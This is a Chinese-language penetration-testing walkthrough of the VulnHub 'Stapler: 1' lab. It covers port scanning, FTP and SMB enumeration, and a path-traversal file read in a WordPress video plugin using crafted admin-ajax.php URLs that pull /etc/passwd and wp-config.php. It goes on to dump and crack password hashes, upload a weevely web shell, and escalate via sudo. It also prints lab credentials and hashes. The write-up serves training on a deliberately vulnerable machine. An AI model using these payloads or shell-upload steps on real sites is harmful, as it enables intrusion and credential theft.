Stapler: 1靶场渗透测试
Stapler: 1来自 <Stapler: 1 ~ VulnHub>
1,发现靶场不能够所以VMware打开,所以就所以VirtualBox打开,然后两个虚拟机都所以桥接模式使得能够互相通信
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.1.0/24
那么攻击机IP为192.168.1.102,靶场IP192.168.1.104
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.1.104
扫出来一堆奇奇怪怪的东西
开放端口与服务详情
端口 | 协议 | 状态 | 服务名称 | 版本/详细信息 | 关键信息 |
21 | TCP | 开放 | FTP | vsftpd 3.0.3 | 允许匿名登录(FTP code 230),但目录列表失败(PASV错误:550权限拒绝) |
22 | TCP | 开放 | SSH | OpenSSH 7.2p2 Ubuntu 4 | RSA/ECDSA/ED25519密钥指纹已列出 |
53 | TCP | 开放 | DNS | dnsmasq 2.75 | 提供DNS服务 |
80 | TCP | 开放 | HTTP | PHP cli server 5.5+ | 返回404 Not Found,需进一步目录枚举 |
139 | TCP | 开放 | SMB | Samba smbd 4.3.9-Ubuntu (工作组:WORKGROUP) | Samba版本可能存在漏洞(需进一步验证) |
666 | TCP | 开放 | 未知服务 | 数据指纹未识别 | 返回二进制数据(疑似文件传输或自定义协议),建议提交指纹至Nmap数据库 |
3306 | TCP | 开放 | MySQL | MySQL 5.7.12-0ubuntu1 | 认证插件为 mysql_native_password,Salt值已暴露 |
12380 | TCP | 开放 | HTTP | Apache 2.4.18 (Ubuntu) | 返回无标题页面(Content-Type: text/html),需进一步探测 |
关闭/过滤的端口
端口 | 协议 | 状态 | 服务名称 |
20/tcp | TCP | 关闭 | FTP-Data |
123/tcp | TCP | 关闭 | NTP |
137/tcp | TCP | 关闭 | NetBIOS-NS |
138/tcp | TCP | 关闭 | NetBIOS-DGM |
其他关键发现
- FTP匿名登录:
- 可尝试匿名访问(ftp 192.168.1.104,用户名为 anonymous,密码为空),但需绕过PASV限制。
- 若成功访问,可检查是否有敏感文件(如配置文件、备份文件)。
- SMB服务:
- 使用 smbclient 或 enum4linux 枚举共享资源(例如:smbclient -L //192.168.1.104 -N)。
- MySQL服务:
- 可尝试弱密码或默认凭据(如 root:root、admin:admin)。
- Salt值 d\x02 >Esp^\x1C\x0CH\x07,bR7G'o 可能用于哈希破解。
- HTTP服务(80和12380端口):
- 使用 gobuster 或 dirbuster 扫描目录(例如:gobuster dir -u http://192.168.1.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt)。
- 检查12380端口的隐藏页面或Web应用漏洞。
- 端口666的未知服务:
- 数据内容包含 message2.jpg 和二进制数据,可能为文件传输通道或后门服务。需进一步分析(例如使用 nc 或 wireshark 抓包)。
4,匿名用户登录ftp服务器,做信息收集
成功下载get到note文件,查看文件类型是文本。
Elly,确保你更新了有效载荷信息。完成后,把它留在你的FTP帐户中,约翰。
5,80端口暂时没发现什么有效信息,忽略之。再看看139端口的smtp服务,使用工具扫描
enum4linux -a 192.168.1.104
enum4linux 工具介绍
enum4linux 是一个 Windows SMB(Server Message Block)信息枚举工具,主要用于 渗透测试 和 信息收集,可以获取 Windows 服务器的用户、共享、组、密码策略等信息。
这个工具基于 rpcclient、smbclient 和 net 等 Samba 组件,适用于 Active Directory 和 Windows 服务器 信息收集。
主要功能
enum4linux 可以执行多种信息枚举任务,包括:
- 获取共享文件夹(类似 smbclient -L)
- 列出用户列表(类似 rpcclient 查询)
- 枚举组和成员(获取管理员等权限信息)
- 获取 Windows 版本和域信息(NetBIOS/LDAP 查询)
- 密码策略和安全策略(锁定策略、密码长度等)
- 尝试空会话登录(匿名访问)
常见选项
选项 | 作用 |
-U | 获取用户列表 |
-S | 获取共享目录 |
-G | 获取组信息 |
-P | 获取密码策略 |
-o | 获取 OS 版本 |
-a | 执行所有信息枚举 |
-u USER -p PASSWORD | 使用指定账户进行身份验证 |
6,根据扫描结果分析系统允许进行匿名访问kathy和tmp用户
smbclient //192.168.1.104/kathy
smbclient //192.168.1.104/tmp
kathy目录:todo-list.txt提示为Initech备份任何重要信息,恰好有个Backup目录,这里面应该是备份的信息,vsftpd.conf是ftp配置文件,wordpress-4.tar.gz是一个wordpress网站备份。
tmp目录:ls内容是详细一个目录下的ls -l的详细介绍,猜测是tmp目录下,这样tmp目录下原来有个systemd-private-df2bff9b90164a2eadc490c0b8f76087-systemd-timesyncd.service-vFKoxJ目录,可能后来删除了。
7,接下来访问12380端口,是还没有完工的http静态页面
进行目录枚举扫描
gobuster dir -u http://192.168.1.104:12380 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u http://192.168.1.104:12380 -x 404,403
再用nikto扫描一下试试
nikto -h 192.168.1.104 -p 12380
使用https://协议访问一下试试
https://192.168.1.104:12380
应该是这个网站了
8,依然枚举扫描其子目录,果然东西
dirsearch -u https://192.168.1.104:12380 -x 404,403
访问/robots.txt
https://192.168.1.104:12380/admin112233/ 弹出来一个东西
/phpmyadmin/目录
/blogblog目录
是一个wordpress的CMS
whatweb -v https://192.168.1.104:12380/blogblog/
9,接着扫描/blogblog下子目录
dirsearch -u https://192.168.1.104:12380/blogblog -x 404,403
访问一下/wp-content/
10,存在插件,检索一下漏洞利用exp
存在本地文件包含漏洞,将漏洞利用exp转储出来。查看exp
该漏洞利用脚本通过利用WordPress插件Advanced-Video-Embed中的未授权文件读取和文章创建漏洞,实现对服务器敏感文件的窃取。以下是攻击流程的详细分析:
漏洞原理
- 漏洞位置:
插件文件/inc/classes/class.avePost.php中的ave_publishPost函数未对用户输入的thumb参数进行过滤,直接通过file_get_contents($thumb)读取文件内容。 - 路径遍历:
攻击者可通过thumb参数注入相对路径(如../wp-config.php),绕过目录限制读取任意文件。 - 未授权访问:
admin-ajax.php未验证用户权限,允许未认证用户调用敏感操作(创建含恶意缩略图的文章)。
攻击流程详解
1. 触发文件读取并创建文章
- 构造恶意请求:
向admin-ajax.php发送如下参数,触发插件读取wp-config.php:
url = "http://target.com/wordpress"
payload = f"{url}/wp-admin/admin-ajax.php?action=ave_publishPost&title=随机标题&short=1&term=1&thumb=../wp-config.php"- thumb=../wp-config.php:通过路径遍历读取WordPress配置文件。
- 插件处理逻辑:
- 创建新文章,将wp-config.php内容作为文章缩略图保存。
- 返回含新文章ID的响应(如Post published successfully. ID: 1234)。
2. 提取文章ID
- 正则匹配ID:
脚本通过正则表达式从响应中提取文章ID:
numbers = re.findall(r'\d+', line) # 匹配所有数字
id = numbers[-1] # 取最后一个数字(可能含校验值)
id = int(id) // 10 # 修正ID(假设原始ID被乘以10)- 假设:插件返回的ID被错误地附加了额外数字(如12345实际应为1234),需通过除以10修正。
3. 访问文章页面获取缩略图URL
- 请求文章页面:
访问/?p=提取的ID获取文章HTML内容:
objHtml = urllib2.urlopen(f"{url}/?p={id}") - 解析图片URL:
在HTML中搜索包含attachment-post-thumbnail的图片标签,提取其URL:
if 'attachment-post-thumbnail' in line:
urls = re.findall('"(https?://.*?)"', line) # 提取图片URL
4. 下载并输出敏感文件
- 下载缩略图:
通过图片URL下载文件(实际为wp-config.php内容):
print urllib2.urlopen(urls[0]).read() # 输出文件内容
关键攻击点
- 未过滤的用户输入:
thumb参数未限制文件路径,导致路径遍历攻击。 - 未授权操作:
admin-ajax.php未检查用户权限,允许任意用户创建文章。 - 数据泄露链:
文件内容通过文章缩略图暴露,攻击者可通过公开文章页面获取敏感数据。
防御建议
- 输入验证:
- 对thumb参数进行白名单过滤,仅允许合法URL或相对路径。
- 使用realpath()解析绝对路径,禁止跳出Web根目录。
- 权限控制:
- 在ave_publishPost函数中添加权限校验(如current_user_can('publish_posts'))。
- 安全配置:
- 限制admin-ajax.php仅处理必要Action,禁用未使用的功能。
- 定期更新插件,监控社区漏洞公告。
渗透测试启示
- 关注WordPress插件漏洞:
第三方插件是常见攻击入口,需重点审查其安全实现。 - 自动化漏洞利用:
结合Python脚本快速验证漏洞,提升测试效率。 - 敏感文件保护:
确保wp-config.php权限为600,避免Web用户可读。
需要vim手动更改url:https://192.168.1.104:12380/blogblog/
给权限然后使用python解释器执行
11,发生报错,既然给出了POC还是自己手动进行攻击吧
https://192.168.1.104:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd
然后我们可以在上传目录下发现一个新文件,无法正常打开
下载下来要忽略掉证书检查参数为:--no-check-certificate
wget https://192.168.1.104:12380/blogblog/wp-content/uploads/115050440.jpeg --no-check-certificate
利用cat进行阅读该文件,发现我们确实读取到了用户文件。说明存在文件包含漏洞,可以手动利用
12,分析py脚本,我们可以构造一个payload进行读取mysql账号密码(需要不断试探出配置文件位置)
https://192.168.1.104:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php
然后下载这个脚本
wget https://192.168.1.104:12380/blogblog/wp-content/uploads/1525778666.jpeg --no-check-certificate
然后cat文件查找数据库账户密码root/plbkasc
13,然后登录其数据库
mysql -h 192.168.1.104 -u root -p
(命令行登录失败,改为网页登录)
select concat(user_login,':',user_pass) from wp_users;
John:$P$B7889EMq/erHIuZapMB8GEizebcIy9.
Elly:$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
Peter:$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
barry:$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
heather:$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
garry:$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
harry:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
scott:$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
kathy:$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
tim:$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
ZOE:$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
Dave:$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
Simon:$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
Abby:$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
Vicki:$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
Pam:$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0
将这些账户密码写入txt,使用john工具进行彩虹表爆破
john pass.hash --wordlist=/usr/share/wordlists/rockyou.txt
然后视图将爆破结果一一对应
14,然后再使用John的账户登录wordpress
https://192.168.1.102:12380/blogblog/wp-login.php
然后在这个网页下找到上传文件的地方
https://192.168.1.102:12380/blogblog/wp-admin/plugin-install.php?tab=upload
通过weevely生成木马文件
将木马文件转储出来,然后在文件上传的接口上传文件,上传成功
然后再使用weevely去连接
weevely https://192.168.1.102:12380/blogblog/wp-content/uploads/shell.php 123
15,查看当前用户执行过的历史命令
cat */.bash_history
我们看到用户peter密码JZQuyIN5,横向移动一下ssh登陆peter用户
这是针对新用户的 Z Shell 配置功能 - zsh-newuser-install。
您看到此信息是因为您没有 zsh 启动文件
(用户主目录 ~ 中的 .zshenv、.zprofile、.zshrc、.zlogin 等文件)。
该功能可以帮助您进行一些基本设置,使您更轻松地使用 shell。
您可以执行以下操作:
(q) 退出且不做任何操作。下次登录时此功能会再次运行。
(0) 退出并创建仅包含注释的 ~/.zshrc 文件。
这将阻止此功能再次运行。
(1) 进入主菜单继续配置。
(2) 使用系统管理员推荐的配置填充您的 ~/.zshrc 文件并退出
(如有需要,您可以随后手动编辑该文件)。
--- 键入括号内的一个键 ---
成功进入这个用户,做信息收集
sudo -l发现这个用户可以任意使用sudo命令
那么就直接sudo一下提权成为root用户